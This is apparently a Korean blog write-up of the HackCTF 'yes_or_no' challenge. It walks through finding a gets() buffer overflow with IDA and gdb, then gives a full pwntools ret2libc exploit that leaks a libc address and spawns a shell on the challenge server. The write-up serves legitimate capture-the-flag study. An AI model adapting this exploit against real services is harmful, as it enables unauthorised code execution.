file 명령으로 문제 바이너리를 확인하면 64비트 바이너리임을 확인할 수 있다.
checksec 명령으로 적용된 보호기법을 확인해보면 NX 미티게이션이 걸려 있는 것을 확인할 수 있다.
아이다로 문제 바이너리를 확인하면 다음과 같다.
처음에 변수 s에 입력받고 있고, 입력받은 값을 atoi 함수를 이용하여 정수형으로 변환하여 v10에 저장하고 있다. 그리고 35번째줄의 if문에서 연산한 값과 비교하여 if문을 통과하면 gets 함수로 입력을 받고 있는데, 여기서 bof가 발생한다.
if문의 비교하는 값은 gdb를 이용하여 확인할 수 있다.
위 어셈 코드에서 main+237의 cmp문이 gets함수를 실행시키기 위한 if문의 비교하는 부분이다. 따라서 저 위치에 bp를 걸고 실행시킨 후 rax의 값을 확인하면 if문을 통과할 수 있는 값을 얻을 수 있다.
RAX에 들어있는 값이 0x960000이므로 10진수로 9830400을 입력하면 if문의 조건을 만족시켜 gets()함수를 실행시킬 수 있다.
gets() 함수로 bof를 발생시켜 쉘을 실행시키기 위해서는 서버에서 실행되는 바이너리의 puts()함수의 주소를 구하고, 문제에서 주어진 libc 파일로 puts()함수 오프셋을 구하여 libc base 주소를 구하고, libc 파일에서 구한 system 함수의 오프셋과 /bin/sh문자열의 오프셋을 이용하여 서버의 주소값을 구해 넣어주면 된다. 또 문제 설명에서 18.04 버전으로 테스트 하였다는 설명이 있었기에 payload에 ret 주소를 추가 시켜줘야 한다.
payload에서 사용되는 pop ret 가젯과 ret 주소는 다음과 같이 ROPgadget명령을 이용하여 구할 수 있다.
나머지 plt, got 주소와 offset들은 pwntools의 기능들을 이용하여 구할 수 있다.
작성한 익스 코드는 다음과 같다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3009)
e = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
puts_offset = libc.symbols['puts']
sys_offset = libc.symbols['system']
main = e.symbols['main']
binsh = list(libc.search("/bin/sh"))[0]
pr = 0x000000000400883
ret = 0x000000000040056e
p.sendlineafter("~!\n", "9830400")
pay = "A"*26
pay += p64(pr)
pay += p64(puts_got)
pay += p64(puts_plt)
pay += p64(main)
p.sendlineafter("me\n", pay)
puts_addr = u64(p.recv(6) + b"\x00\x00")
libc_base = puts_addr - puts_offset
sys_addr = libc_base + sys_offset
binsh_addr = libc_base + binsh
pay = "A"*26
pay += p64(pr)
pay += p64(binsh_addr)
pay += p64(ret)
pay += p64(sys_addr)
p.sendlineafter("~!\n", "9830400")
p.sendlineafter("me\n", pay)
p.interactive()
익스코드를 실행하면 다음과 같이 플래그를 얻을 수 있다.
'Security & Hacking > Wargame' 카테고리의 다른 글
[Hack CTF] Beginner_Heap (0) | 2021.10.18 |
---|---|
[HackCTF] RTC (0) | 2021.10.06 |
[HackCTF] Look at me (0) | 2021.08.06 |
[HackCTF] RTL_Core (0) | 2021.07.30 |
[HackCTF] Random Key (0) | 2021.07.28 |